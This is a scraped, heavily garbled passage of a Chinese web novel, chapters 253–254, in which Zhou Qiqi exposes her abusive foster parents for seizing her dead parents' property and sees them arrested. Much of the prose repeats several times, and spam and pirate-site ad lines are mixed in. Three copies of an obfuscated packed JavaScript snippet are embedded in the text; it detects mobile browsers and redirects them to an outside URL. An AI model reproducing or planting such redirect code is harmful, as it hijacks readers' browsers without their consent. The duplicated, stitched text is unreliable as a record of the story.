“李桂香!你听见了吗?!我弟弟弟妹白纸黑字,清清楚楚写着把柒柒托付给大队!托付给村长!根本就没提你们老许家一个字! 你们你们是不是趁人之危!是不是看我弟弟弟妹病重无力抢了孩子霸占了他们的家当!你们家那新房子是不是就是用我弟弟弟妹的血汗钱盖起来的?!你说!是不是!” “不!不可能!” 李桂香像被踩了尾巴的猫猛地尖叫起来脸色惨白如鬼额头上全是冷汗。 她眼神慌乱地在周柒柒手中的信和周围愤怒的人群中乱扫语无伦次地嘶喊: “假的!这信是假的!哪儿冒出来的?我从来没听说过有这封信!不可能有!他们病得话都说不利索了哪还有力气写这么长的信?骗人的!周柒柒!你这小**!这信是你伪造的!你从哪儿弄来的假货来害我?!” 她彻底慌了神声音尖利刺耳 说的域名caixs.comü(请来才小 说 看最新章节 完整章节)带着垂死挣扎般的疯狂。 她猛地扑上前似乎想抢夺那封信撕碎却被沈淮川一个冰冷的眼神和微微前倾的身体硬生生钉在原地。 周柒柒小心翼翼地将信纸折好重新放回油纸包。 她抬起眼看着李桂香那副歇斯底里的丑态眼神平静得可怕嘴角勾起一丝冷冽的弧度: “哪儿来的?” 她的声音不高却清晰地压过了李桂香的尖叫 “哪儿来的你还不清楚吗?” 你的朋友正在书荒,快去帮帮他吧 你们你们是不是趁人之危!是不是看我弟弟弟妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她猛地扑上前,似乎想抢夺那封信撕碎,却被沈淮川一个冰冷的眼神和微微前倾的身体硬生生钉在原地。 周柒柒小心翼翼地将信纸折好,重新放回油纸包。 她抬起眼,看着李桂香那副歇斯底里的丑态,眼神平静得可怕,嘴角勾起一丝冷冽的弧度: “哪儿来的? 她的声音不高,却清晰地压过了李桂香的尖叫, “哪儿来的,你还不清楚吗? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 你们你们是不是趁人之危!是不是看我弟弟弟妹病重无力,抢了孩子,霸占了他们的家当!你们家那新房子,是不是就是用我弟弟弟妹的血汗钱盖起来的?!你说!是不是!” “不!不可能!” 李桂香像被踩了尾巴的猫,猛地尖叫起来,脸色惨白如鬼,额头上全是冷汗。 她眼神慌乱地在周柒柒手中的信和周围愤怒的人群中乱扫,语无伦次地嘶喊: “假的!这信是假的!哪儿冒出来的?我从来没听说过有这封信!不可能有!他们病得话都说不利索了,哪还有力气写这么长的信?骗人的!周柒柒!你这小**!这信是你伪造的!你从哪儿弄来的假货来害我?!” 她彻底慌了神,声音尖利刺耳,带着垂死挣扎般的疯狂。 她猛地扑上前,似乎想抢夺那封信撕碎,却被沈淮川一个冰冷的眼神和微微前倾的身体硬生生钉在原地。 周柒柒小心翼翼地将信纸折好,重新放回油纸包。 她抬起眼,看着李桂香那副歇斯底里的丑态,眼神平静得可怕,嘴角勾起一丝冷冽的弧度: “哪儿来的?” 她的声音不高,却清晰地压过了李桂香的尖叫, “哪儿来的,你还不清楚吗?” 你的朋友正在书荒,快去帮帮他吧 你们你们是不是趁人之危!是不是看我弟弟弟妹病重无力,抢了孩子,霸占了他们的家当!你们家那新房子,是不是就是用我弟弟弟妹的血汗钱盖起来的?!你说!是不是!” “不!不可能!” 李桂香像被踩了尾巴的猫,猛地尖叫起来,脸色惨白如鬼,额头上全是冷汗。 她眼神慌乱地在周柒柒手中的信和周围愤怒的人群中乱扫,语无伦次地嘶喊: “假的!这信是假的!哪儿冒出来的?我从来没听说过有这封信!不可能有!他们病得话都说不利索了,哪还有力气写这么长的信?骗人的!周柒柒!你这小**!这信是你伪造的!你从哪儿弄来的假货来害我?!” 她彻底慌了神,声音尖利刺耳,带着垂死挣扎般的疯狂。 她猛地扑上前,似乎想抢夺那封信撕碎,却被沈淮川一个冰冷的眼神和微微前倾的身体硬生生钉在原地。 周柒柒小心翼翼地将信纸折好,重新放回油纸包。 她抬起眼,看着李桂香那副歇斯底里的丑态,眼神平静得可怕,嘴角勾起一丝冷冽的弧度: “哪儿来的?” 她的声音不高,却清晰地压过了李桂香的尖叫, “哪儿来的,你还不清楚吗?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第253章 在天有灵 周柒柒的声音不高,却像根针,扎破了李桂香强装的镇定。 她眼神清亮,直直看向李桂香, “一个月前,你刚从那灶台底下挖出来我父母最后的遗物,怎么?这么快就忘了?” 李桂香浑身猛地一哆嗦,那张刻薄的脸“唰”地一下褪尽了血色,眼珠子瞪得溜圆,活像大白天见了鬼,嘴唇哆嗦着: “你你咋知道的?!这些东西,是和哪个玉佩放在一起的???” 她心慌意乱,眼珠滴溜溜乱转,猛地想起什么,抬脚就狠狠踹在旁边缩着脖子的许老蔫腿上,枯树枝似的老腿带着十足的狠劲儿: “挨千刀的!不是让你拿了那玉,就把那些晦气玩意儿都烧干净吗?!咋还能让她们翻出来?!” 许老蔫被踹得一个趔趄,抱着腿“哎哟”直叫唤,一张老脸皱成了苦瓜,声音带着哭腔和恐惧: “烧烧啥啊!半夜三更去挖的,那包袱皮上,沾着黑乎乎的东西,像是血印子!风刮得树叶哗哗响,跟鬼嚎似的!里面好像有东西要冲出来,我.我怕啊!怕烧了遭报应!挖都挖出来了,哪还敢烧?就又.又给塞回瓦罐里,原样埋回去了” “蠢货!” 李桂香气得浑身乱颤,三角眼几乎要喷出火, “埋回去?!那信呢?!那些破纸片子你埋回去干啥?!留着当催命符啊?!” 许老蔫缩得更紧了,浑浊的老眼透着茫然和委屈,小声嘟囔: “我我哪认得几个字?那纸上弯弯绕绕的,谁知道是水生两口子留给柒柒的信啊!我当是啥没用的纸呢.” 这话一出,屋里屋外瞬间死寂。 村民们面面相觑,脸上的表情从愤怒变成了惊愕。 周淑华更是急得不行,嘴唇哆嗦着,想问又不敢问,生怕惊扰了这自己撞出来的真相。 许村长和张婶子等村里的村民,也听得眉头紧锁,满眼都是疑惑: 这灶台底下,到底藏着啥?又是怎么被发现的? 周柒柒看着这对不打自招的活宝,眼神平静无波,只淡淡开口: “想知道怎么回事?走,一起去老宅看看,自然就明白了。” 她目光扫过李桂香两口子,“把她俩也带上。” 沈淮川刚准备上 前没想到旁边的村民们早就按捺不住了。 张婶子第一个撸起袖子拉着自家的男人嗓门敞亮: “听见没?走!去水生家!让这俩黑心肝的当面说清楚!” 呼啦啦一下子人群像潮水般涌上去七手八脚地把瘫软在地的李桂香和瑟缩的许老蔫围了个严实连推带搡像赶牲口似的撵着她们往山脚下那三间青砖房走去。 日光高高的照着这支浩浩荡荡的队伍。 脚步声、低语声、还有李桂香偶尔不甘的嚎叫打破了山村本该有的宁静。 一行人很快到了老屋院门口周柒柒推开那扇熟悉的院门。 村民们一开始都以为这屋子估计都是灰脏兮兮的。 但出乎众人意料的是院子里干干净净连片落叶都少见青砖地面仿佛刚被水洗过老槐树下连点浮灰都没有。 “我的老天爷!” 打头阵的张婶子第一个惊叫出声 “这这咋恁干净?几个月没人住了灰呢?草呢?闹鬼了不成?难不成是水生两口子在天有灵夜里回来拾掇了?” 她说着自己先打了个寒噤。 这话一出挤在院门口的村民们顿时觉得后脖颈子凉飕飕的几个胆小的婆娘更是吓得往后缩了缩低声议论起来空气里弥漫开一股紧张又诡异的气氛。 “张婶子!” 周柒柒哭笑不得地开口清脆的声音驱散了那点莫名的寒意 “别自己吓自己了 她顿了顿迎着众人惊疑的目光 “昨晚我心里不踏实想给我爹娘上柱香顺带手就把院子屋子都归置了一下。” 众人这才恍然大悟长长舒了口气纷纷埋怨张婶子: “老张家的净瞎说!吓死个人!” “就是就是哪来那么多神神叨叨的!” 周柒柒嘴角弯起一丝微不可察的弧度目光扫过神色各异的众人最后落在面如土色的李桂香身上话锋一转: “不过昨晚还真有点‘神神叨叨’的事儿。” 她声音不高却把所有人的注意力都牢牢吸了过去。 “我和淮川收拾利索了刚准备走” 周柒柒指了指堂屋方向 “不知打哪儿刮来一股邪风‘呼啦’一下把灶台上搁着的几个空碗碟全给扫地上了 她顿了顿看着大家屏息凝神的样子继续道: “我俩就去收拾结果发现那灶台底下靠墙根的土颜色不太对像是新翻动过还露着点碎瓦片碴子就觉得奇怪淮川力气大我俩就把那挡着的旧碗柜挪开了嘿底下真有个坑!一看就是新挖开又匆匆填回去的土都没踩实。” 周淑华的心提到了嗓子眼雷玉华也紧张地攥紧了拳头。 “我俩就把那坑重新刨开了” 周柒柒的声音也有些不平静了想起昨晚的那些经历她也觉得有些匪夷所思。 冥冥之中仿佛真的是周水生和齐琳的魂魄回来了又或者是“原身”跟着她回到了家在提醒着她诱导着她去发现真相。 “坑里埋着个摔裂了的旧瓦罐罐子里塞着几个破包袱包袱皮里是我娘临终前为我缝的红嫁衣底下压着两封信。” 她的目光像刀子一样刮过李桂香惨白的脸: “一封就是我刚才念的我爹娘留给我、托付给大队的信。另一封.” 她深吸一口气从随身的布包里小心地取出一个用粗布仔细包着的小包打开露出一张同样泛黄染血的纸。 这封信稍微长一些是周水生写的讲述着玉佩的故事。 信的内容是父女间的悄悄话周柒柒没有念给众人听而是给大家看了一下证明了信的真伪后就折好信纸重新包好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148713|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 另外还有一个包袱周柒柒轻轻抖落开来。 那是一件红色的嫁衣布料就是简单的大红土布绣着一个大大的红双喜。 嫁衣上面也有几团早已干涸发黑、触目惊心的血迹。 一阵微风吹过带着血迹的嫁衣轻轻飘荡衣袖处金色的“柒”字轻轻抚过周柒柒眼角的那滴眼泪。 这画面就像是周柒柒的母亲真的泉下有灵一样。 许老蔫看到这一幕后吓得不轻浑身冒出了一身冷汗一个劲儿的往后躲嘴里哆哆嗦嗦地嘟囔道。 “有鬼啊鬼新娘” 张婶等村民看到这 一幕,心里却没有害怕,而是满满的感动,她擦了擦眼角的泪珠,翻了个白眼。 “哪有儿有鬼啊!我看你啊,是做贼心虚了!” 大家都知道,水生和琳妹子是染了急病去的,那病凶险的很,一两天就能把人折磨地不成人形,吃不下喝不下,浑身疼地下不了地,意识也十分不清醒。 但就在这样的情况下,这两个人还是为柒柒这个女儿做了她们能做的所有。 周柒柒抬起眼,看向被村民死死按住的李桂香和许老蔫,眼神冰冷: “我爹娘留下的家当,十有**都进了你们的口袋,盖了你们的新房。就这点带着血、沾着他们最后念想的东西,你们嫌晦气,一直没敢动。可贪心这东西,是改不了的。三百块钱,终究还是让你们忍不住,把这最后一点念想也挖出来卖了。” 她顿了顿,声音带着十足的嘲讽: “也亏得你们这份贪心,才让这玉佩见了天日,让这迟到了二十多年的真相.终于大白。” 院子里一片死寂,只有风吹过老槐树枝叶的沙沙声。 阳光照在周柒柒平静的脸上,也照在周淑华手上那只玉佩,仿佛有微光流转。 周淑华早已泪流满面,死死盯着那玉佩和那封染血的信,仿佛要将它们刻进骨血里。 她猛地攥紧那块玉佩,指关节捏得已经有些发白了。 她直指面无人色的李桂香和许老蔫,声音嘶哑却带着刀锋般的锐利: “我明白了!全明白了!” 她牙齿咬得咯咯响, “建邦两口子病得只剩一口气,肯定是叫你们去喊村长!他们最信任的就是村长!可你们这对黑了心肝的豺狼,看着满屋子的家当,眼红了!起了歹念!” 她往前逼近一步,赤红的眼睛死死钉住李桂香那张惨白的脸: “你们就等!等着我弟弟弟妹咽下最后一口气!然后!你们抓着那没了知觉的手,按下了那该死的血手印!等村长他们来了,你们就拿着那张破纸,红口白牙地说建邦把孩子托付给你们了!是不是?!” 许村长猛地一拍大腿,浑浊的老泪涌了出来: “对!对!那天就是李桂香跑来说水生不行了,托付给她家了!我们赶过去,人.人已经凉了半天了!我们怎么就信了她那张破嘴啊!造孽啊!” 第254章 尘埃落定 周淑华浑身都在抖,像是下一秒就要扑上去撕咬: “你们抢了孩子!霸占了他们省吃俭用攒下的血汗钱!盖了你们那亮堂堂的新房!还把我侄女当牲口使唤了十几年!让她吃尽了苦头!李桂香!许老蔫!这笔血债,我要你们十倍!百倍地还回来! 她喘着粗气,眼神决绝得像要焚尽一切: “老雷!玉华!走!咱们现在就去镇上!去**局!打官司!倾家荡产我也认了!告他们**!告他们**!告他们拐带!不把这两条毒蛇送进大狱,不把建邦的东西一分不少地夺回来,我周淑华死不瞑目! 李桂香看着周淑华那副豁出命去的狠劲儿,再看看周柒柒手里那明晃晃的铁证,还有周围村民喷火的眼睛,腿肚子一软,“噗通一声就跪下了,膝盖砸在硬邦邦的青砖地上也顾不上疼。 “周大姐!周**!我错了!我不是人!我是猪油蒙了心!您大人有大量!饶了我们这一回吧! 她鼻涕眼泪糊了一脸,砰砰地磕着头,刚才那股子嚣张气焰半点不剩,只剩下筛糠似的抖, “东西.那些东西,我们退!我们全都退给你们!房子也还给你们!求求您高抬贵手!别告啊!进去了我们这把老骨头就完了啊! 雷玉华抱着胳膊,嘴角撇到耳根,冷笑一声: “哟?现在知道怕了?刚才不是挺横吗?两千块呢?不是一分不能少吗?呸!恶有恶报,时候到了! 她下巴一扬, “我大学同学就在省城当大律师!我一会儿就给他打电话,让他帮着打官司,你们等着吃牢饭吧! 一直沉默的雷政委,眼神冷冰冰地扫过地上那摊烂泥似的两口子,声音低沉: “要不是你们作梗,柒柒早就带着玉佩找到我们,许多事情,肯定不会像现在这样. 小说的域名caixs**(请来才 小说 看最新章节 完整章节) 这话像块巨石,狠狠砸在李桂香心口上。 看雷家三口人这态度,是没有任何松动的可能了。 李桂香眼珠子一转,手脚并用地就往周柒柒脚边爬,一把想抱住周柒柒的腿,被沈淮川一个冰冷的眼神钉在原地,只能哭嚎: “柒柒!柒柒啊!你说话啊!婶子.婶子好歹养了你十几年啊!没功劳也有苦劳啊!你看你现在,嫁得多好!军官男人!还有这么 体面的娘家!这不也是.不也是因为树儿,因为咱老许家的缘分吗?树儿已经让你送进去了,你难道还要把你喊了十几年爹娘的养父母也送进去吗?你不能这么狠心啊柒柒!” 许老蔫也瘫在地上,老泪纵横,跟着帮腔: “是啊,柒柒,你没去城里之前,不也一直喊我们爹娘吗?我们我们也不容易啊!你跟你姑姑好好说说,饶了我们吧.也饶了树儿吧” 周柒柒居高临下地看着脚边哭天抢地的两人,嘴角慢慢扯开一个弧度,那笑里没有一丝温度,只有彻骨的嘲讽和冰冷。 “爹?娘?” 她轻轻重复着这两个字,声音中的嘲讽像针一样,扎得李桂香和许老蔫猛地一哆嗦, “你们拿藤条抽我的时候,想过我也是喊你们‘爹娘’的吗?你们让我去钻冰窟窿、不给我饭吃的时候,想过这两个字吗?” 她顿了顿,眼神空洞地掠过老屋斑驳的墙壁,仿佛在看那个早已死在无数个寒冷饥饿夜晚里的小女孩。 “那个喊你们爹娘的周柒柒,早就**。” 她的声音平静得像结了冰的湖面,一字一句,清晰无比, “现在站在这里的周柒柒,字典里,没有‘原谅’这两个字。” 话音刚落,远处隐隐传来一阵“呜呜呜”的动静,由远及近,越来越清晰。 是警笛! 村民们骚动起来,纷纷抻着脖子往村口土路上望。 沈淮川往前半步,宽阔的肩膀稳稳挡在周柒柒身前,目光扫过地上瞬间瘫软如泥的李桂香和许老蔫: “天没亮,柒柒就让我去报了案。” 他下颌线绷紧,语气坚决,“你们两个,一个都跑不了,进去跟你们儿子团聚吧!” 刺耳的警笛声在院门口戛然而止。 车门“咔哒”打开,几个穿着制服的**大步走了进来,目光锐利地扫过院子。 李桂香两眼一翻,喉咙里嗬嗬作响,一个字也吐不出来。 许老蔫彻底瘫了,抖得像秋风里的落叶,裤裆底下洇开一片湿热的骚气。 “李桂香?许老蔫?” 为首的**声音严肃,“跟我们走一趟!” 两个**上前,像拎小鸡崽似的,把烂泥一样的两人从地上 架了起来。 李桂香还想挣扎嚎叫,被一声严厉的呵斥堵了回去。 周柒柒看了一眼周淑华,扬了扬手里的书信,别过脸说道。 “我们也跟着过去一趟,这些证据,还有玉佩,瓦罐之类的东西,都得让**过一眼。” 周淑华愣了一下,随即赶紧点头道。 “是是是!应该的,应该的!” 沈淮川从口袋里摸出车钥匙,赶紧去开车,一行人也跟着去了县城**局。 李桂香和许老蔫这回是真的怕了,尤其是许老蔫,胆小怕事,这性格,简直和许树一模一样。 到了**局,铁窗里关了不到十分钟,就喊着嚷着把事情全都交代了。 事情的真相和周淑华之前说的差不多。 当年,周水生和齐琳夫妻俩根本就没把柒柒交给他们老许家抚养,而是准备交给村长和大队。 但他们收拾东西的时候,被李桂香给盯上了,两人假装传信,实际上一直没去,而是眼睁睁盯着两口子没了之后,划破**的手掌,按下了血手印。 等到把钱和值钱的东西都转移的差不多了,才去把村长叫过来。 说是两口子把柒柒托付给她们了。 两口子勤劳能干,留下的钱财让这黑心肝的两口子起了新房,本来应该好好对待周柒柒这颗摇钱树的。 可两口子好吃懒做,也习惯了不劳而获,钱很快就花完了。 没了钱,还要养活周柒柒这个“赔钱货”,两个人怎么受得了。 索性直接把周柒柒当成了丫鬟和发泄口,一直**了十几年。 这些事情,村民们都是看在眼里的,又有书信和玉佩作证。 **仅仅用了四天,就结案了。 本来是只需要三天的,不过第一天的时候,许老蔫把一切都推给了李桂香,说这一切都是里桂香处的主意,他啥都不知道,也不知道会造成那么严重的后果。 这模样,也和许树一模一样。 当初两家换嫁,他明明什么的都知道,门牌也都是他去弄坏的,但是他却把一切都推给了林瑶。 这可把李桂香气得够呛,差点隔着铁窗和许老蔫打起来。 虽然许老蔫不认,但两口子共同生活了几十年了,哪 儿有什么一个人作恶,另外一个人不知道的道理,最后还是共同承担。 这事儿物证充分,村民们也都争相去当人证,到最后**局报到**的罪名是:投机倒把罪、**罪、侵占财产罪,再加上伪造文书罪,数罪并罚。 等待两个人的,是至少五六年的牢狱之灾。 在**局折腾了四天,总共算下来,周柒柒一行人在村里已经待了五天了。 雷玉华的假期眼看到了头,沈淮川部队那边也催得紧。 更别说周柒柒的服装厂,张副厂长电话一个接一个打到村委,新款卖爆了,加尺码、添颜色,全等着她回去拍板。 第五天清早,众人收拾行李的动静在小院里窸窣作响。 大家都等着回城,但周淑华却没心思收拾东西。 案子结了,恶人伏法,可另一桩事,她还没死心。 她在屋子里踌躇半晌,还是走向村长家,周柒柒暂住的西厢房。 这几天,姑侄俩还是说过不少话的,但那些话都是为了案子说的,私底下一句贴己话都没说过,那层无形的隔阂一直都在。 周淑华手心有些汗湿,轻轻敲了门。 屋里,周柒柒刚吃过早饭,她的东西沈淮川昨晚就帮着收拾好了,这会儿她正伏在炕桌上,铅笔在图纸上沙沙地勾画。 阳光透过糊了旧报纸的窗户格子,落在她专注的侧脸上。 听见动静,她抬眼,看见门口局促不安的周淑华,略一沉吟,点了点头:“进来吧。” 周淑华心头猛地一跳,赶紧迈进去,带上了门。 “柒柒.” 周淑华搓了搓手,声音有些颤抖, “案子了了,我这心里头,还是放不下,这趟出来,本就是为了寻你爹建邦的下落。” 她看着周柒柒平静无波的脸,鼓起勇气, “如今.人找到了,我这个做姐姐的,想想把他的坟迁回老家去,俗话说的话,落叶归根,迁回去,也好让我们的爹娘安心。” 周柒柒握着铅笔的手指顿住了,抬起头,眉头微微蹙起。 周淑华见她这神色,心往下沉了沉,但还是急忙补充道: “当然了,柒柒,你放心!不止是建邦的坟,还有你母亲齐琳,我那苦命的弟妹,也一并迁回去!虽然素未谋面,但她是我们周家明媒正娶的媳妇,我们周家认她!还有还有齐三娘,柒柒你的外婆,要是愿意,也一起迁,咱们都一并迁了,钱我来讨,规格啥的,都用最好的” 她自觉已做了极大的让步,眼巴巴地望着周柒柒,等着她点头。 可周柒柒缓缓地、却无比坚定地摇了摇头。 “不迁。” 两个字,冷冷地砸在地上。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 儿有什么一个人作恶另外一个人不知道的道理最后还是共同承担。 这事儿物证充分村民们也都争相去当人证到最后**局报到**的罪名是:投机倒把罪、**罪、侵占财产罪再加上伪造文书罪数罪并罚。 等待两个人的是至少五六年的牢狱之灾。 在**局折腾了四天总共算下来周柒柒一行人在村里已经待了五天了。 雷玉华的假期眼看到了头沈淮川部队那边也催得紧。 更别说周柒柒的服装厂张副厂长电话一个接一个打到村委新款卖爆了加尺码、添颜色全等着她回去拍板。 第五天清早众人收拾行李的动静在小院里窸窣作响。 大家都等着回城但周淑华却没心思收拾东西。 案子结了恶人伏法可另一桩事她还没死心。 她在屋子里踌躇半晌还是走向村长家周柒柒暂住的西厢房。 这几天姑侄俩还是说过不少话的但那些话都是为了案子说的私底下一句贴己话都没说过那层无形的隔阂一直都在。 周淑华手心有些汗湿轻轻敲了门。 屋里周柒柒刚吃过早饭她的东西沈淮川昨晚就帮着收拾好了这会儿她正伏在炕桌上铅笔在图纸上沙沙地勾画。 阳光透过糊了旧报纸的窗户格子落在她专注的侧脸上。 听见动静她抬眼看见门口局促不安的周淑华略一沉吟点了点头:“进来吧。” 周淑华心头猛地一跳赶紧迈进去带上了门。 “柒柒.” 周淑华搓了搓手声音有些颤抖 “案子了了我这心里头还是放不下这趟出来本就是为了寻你爹建邦的下落。” 她看着周柒柒平静无波的脸鼓起勇气 “如今.人找到了我这个做姐姐的想想把他的坟迁回老家去俗话说的话落叶归根迁回去也好让我们的爹娘安心。” 周柒柒握着铅笔的手指顿住了抬起头眉头微微蹙起。 周淑华见她这神色心往下沉了沉但还是急忙补充道: “当然了柒柒你放心!不止是建邦的坟还有你母亲齐琳我那苦命的弟妹也一并迁回去!虽然素未谋面 她自觉已做了极大的让步眼巴巴地望着周柒柒等着她点头。 可周柒柒缓缓地、却无比坚定地摇了摇头。 “不迁。” 两个字冷冷地砸在地上。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 儿有什么一个人作恶另外一个人不知道的道理最后还是共同承担。 这事儿物证充分村民们也都争相去当人证到最后**局报到**的罪名是:投机倒把罪、**罪、侵占财产罪再加上伪造文书罪数罪并罚。 等待两个人的是至少五六年的牢狱之灾。 在**局折腾了四天总共算下来周柒柒一行人在村里已经待了五天了。 雷玉华的假期眼看到了头沈淮川部队那边也催得紧。 更别说周柒柒的服装厂张副厂长电话一个接一个打到村委新款卖爆了加尺码、添颜色全等着她回去拍板。 第五天清早众人收拾行李的动静在小院里窸窣作响。 大家都等着回城但周淑华却没心思收拾东西。 案子结了恶人伏法可另一桩事她还没死心。 她在屋子里踌躇半晌还是走向村长家周柒柒暂住的西厢房。 这几天姑侄俩还是说过不少话的但那些话都是为了案子说的私底下一句贴己话都没说过那层无形的隔阂一直都在。 周淑华手心有些汗湿 屋里周柒柒刚吃过早饭她的东西沈淮川昨晚就帮着收拾好了这会儿她正伏在炕桌上铅笔在图纸上沙沙地勾画。 阳光透过糊了旧报纸的窗户格子落在她专注的侧脸上。 听见动静她抬眼看见门口局促不安的周淑华略一沉吟点了点头:“进来吧。” 周淑华心头猛地一跳赶紧迈进去带上了门。 “柒柒.” 周淑华搓了搓手声音有些颤抖 “案子了了我这心里头还是放不下这趟出来本就是为了寻你爹建邦的下落。” 她看着周柒柒平静无波的脸鼓起勇气 “如今.人找到了我这个做姐姐的想想把他的坟迁回老家去俗话说的话落叶归根迁回去也好让我们的爹娘安心。” 周柒柒握着铅笔的手指顿住了抬起头眉头微微蹙起。 周淑华见她这神色心往下沉了沉但还是急忙补充道: “当然了柒柒你放心!不止是建邦的坟还有你母亲齐琳我那苦命的弟妹也一并迁回去!虽然素未谋面但她是我们周家明媒正娶的媳妇我们周家认她!还有还有齐三娘柒柒你的外婆要是愿意也一起迁咱们都一并迁了钱我来讨规格啥的都用最好的” 她自觉已做了极大的让步眼巴巴地望着周柒柒等着她点头。 可周柒柒缓缓地、却无比坚定地摇了摇头。 “不迁。” 两个字冷冷地砸在地上。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 儿有什么一个人作恶另外一个人不知道的道理最后还是共同承担。 这事儿物证充分村民们也都争相去当人证到最后**局报到**的罪名是:投机倒把罪、**罪、侵占财产罪再加上伪造文书罪数罪并罚。 等待两个人的是至少五六年的牢狱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148714|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之灾。 在**局折腾了四天总共算下来周柒柒一行人在村里已经待了五天了。 雷玉华的假期眼看到了头沈淮川部队那边也催得紧。 更别说周柒柒的服装厂张副厂长电话一个接一个打到村委新款卖爆了加尺码、添颜色全等着她回去拍板。 第五天清早 大家都等着回城但周淑华却没心思收拾东西。 案子结了恶人伏法可另一桩事她还没死心。 她在屋子里踌躇半晌还是走向村长家周柒柒暂住的西厢房。 这几天姑侄俩还是说过不少话的但那些话都是为了案子说的私底下一句贴己话都没说过那层无形的隔阂一直都在。 周淑华手心有些汗湿轻轻敲了门。 屋里周柒柒刚吃过早饭她的东西沈淮川昨晚就帮着收拾好了这会儿她正伏在炕桌上铅笔在图纸上沙沙地勾画。 阳光透过糊了旧报纸的窗户格子落在她专注的侧脸上。 听见动静她抬眼看见门口局促不安的周淑华略一沉吟点了点头:“进来吧。” 周淑华心头猛地一跳赶紧迈进去带上了门。 “柒柒.” 周淑华搓了搓手声音有些颤抖 “案子了了我这心里头还是放不下这趟出来本就是为了寻你爹建邦的下落。” 她看着周柒柒平静无波的脸鼓起勇气 “如今.人找到了我这个做姐姐的想想把他的坟迁回老家去俗话说的话落叶归根迁回去也好让我们的爹娘安心。” 周柒柒握着铅笔的手指顿住了抬起头眉头微微蹙起。 周淑华见她这神色心往下沉了沉但还是急忙补充道: “当然了柒柒你放心!不止是建邦的坟还有你母亲齐琳我那苦命的弟妹也一并迁回去!虽然素未谋面但她是我们周家明媒正娶的媳妇我们周家认她!还有还有齐三娘柒柒你的外婆要是愿意也一起迁咱们都一并迁了钱我来讨规格啥的都用最好的” 她自觉已做了极大的让步眼巴巴地望着周柒柒等着她点头。 可周柒柒缓缓地、却无比坚定地摇了摇头。 “不迁。” 两个字冷冷地砸在地上。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 儿有什么一个人作恶另外一个人不知道的道理最后还是共同承担。 这事儿物证充分村民们也都争相去当人证到最后**局报到**的罪名是:投机倒把罪、**罪、侵占财产罪再加上伪造文书罪数罪并罚。 等待两个人的是至少五六年的牢狱之灾。 在**局折腾了四天总共算下来周柒柒一行人在村里已经待了五天了。 雷玉华的假期眼看到了头沈淮川部队那边也催得紧。 更别说周柒柒的服装厂张副厂长电话一个接一个打到村委新款卖爆了加尺码、添颜色全等着她回去拍板。 第五天清早众人收拾行李的动静在小院里窸窣作响。 大家都等着回城但周淑华却没心思收拾东西。 案子结了恶人伏法可另一桩事她还没死心。 她在屋子里踌躇半晌还是走向村长家周柒柒暂住的西厢房。 这几天姑侄俩还是说过不少话的但那些话都是为了案子说的私底下一句贴己话都没说过那层无形的隔阂一直都在。 周淑华手心有些汗湿轻轻敲了门。 屋里周柒柒刚吃过早饭她的东西沈淮川昨晚就帮着收拾好了这会儿她正伏在炕桌上铅笔在图纸上沙沙地勾画。 阳光透过糊了旧报纸的窗户格子 听见动静她抬眼看见门口局促不安的周淑华略一沉吟点了点头:“进来吧。” 周淑华心头猛地一跳赶紧迈进去带上了门。 “柒柒.” 周淑华搓了搓手声音有些颤抖 “案子了了我这心里头还是放不下这趟出来本就是为了寻你爹建邦的下落。” 她看着周柒柒平静无波的脸鼓起勇气 “如今.人找到了我这个做姐姐的想想把他的坟迁回老家去俗话说的话落叶归根迁回去也好让我们的爹娘安心。” 周柒柒握着铅笔的手指顿住了抬起头眉头微微蹙起。 周淑华见她这神色心往下沉了沉但还是急忙补充道: “当然了柒柒你放心!不止是建邦的坟还有你母亲齐琳我那苦命的弟妹也一并迁回去!虽然素未谋面但她是我们周家明媒正娶的媳妇我们周家认她!还有还有齐三娘柒柒你的外婆要是愿意也一起迁咱们都一并迁了钱我来讨规格啥的都用最好的” 她自觉已做了极大的让步眼巴巴地望着周柒柒等着她点头。 可周柒柒缓缓地、却无比坚定地摇了摇头。 “不迁。” 两个字冷冷地砸在地上。 你的朋友正在书荒,快去帮帮他吧 儿有什么一个人作恶,另外一个人不知道的道理,最后还是共同承担。 这事儿物证充分,村民们也都争相去当人证,到最后**局报到**的罪名是:投机倒把罪、**罪、侵占财产罪,再加上伪造文书罪,数罪并罚。 等待两个人的,是至少五六年的牢狱之灾。 在**局折腾了四天,总共算下来,周柒柒一行人在村里已经待了五天了。 雷玉华的假期眼看到了头,沈淮川部队那边也催得紧。 更别说周柒柒的服装厂,张副厂长电话一个接一个打到村委,新款卖爆了,加尺码、添颜色,全等着她回去拍板。 